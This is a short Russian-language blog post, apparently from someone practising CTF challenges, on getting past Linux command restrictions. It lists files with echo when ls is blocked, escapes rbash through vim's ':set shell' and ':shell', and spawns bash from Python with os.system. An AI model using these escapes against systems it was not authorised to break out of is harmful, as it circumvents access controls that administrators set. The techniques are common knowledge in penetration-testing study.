понедельник, 6 ноября 2017 г.

Обход ограничений выполнения команд Linux.

Обход ограничения на выполнение ls или отсутствие ls:

yar1k@zero:~$ echo /home/yar1k/Downloads/*
/home/yar1k/Downloads/2000 Eighth Star (lossless) /home/yar1k/Downloads/CentOS-7-x86_64-DVD-1611.iso /home/yar1k/Downloads/debian-8.7.0-i386-CD-1.iso /home/yar1k/Downloads/firefox /home/yar1k/Downloads/HackDay-Albania.ova /home/yar1k/Downloads/kali-linux-xfce-2016.2-amd64 /home/yar1k/Downloads/mrRobot.ova /home/yar1k/Downloads/photo_2017-02-20_09-37-15.jpg /home/yar1k/Downloads/SkyDogConCTF2016VBoxV10.ova /home/yar1k/Downloads/Telegram Desktop /home/yar1k/Downloads/tor-browser_en-US
yar1k@zero:~$

Переход из rbash(служит для ограничения пользователей в командной строке) в bash при доступности редактора vim:



:set shell=/bin/bash
:shell

При доступной консоли python перейдем в bash:

$ /usr/bin/python
Python 2.7.9 (default, Jun 29 2016, 13:08:31)
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os;
>>> os.system('/bin/bash')
yar1k@zero:~$

Комментариев нет:

Отправить комментарий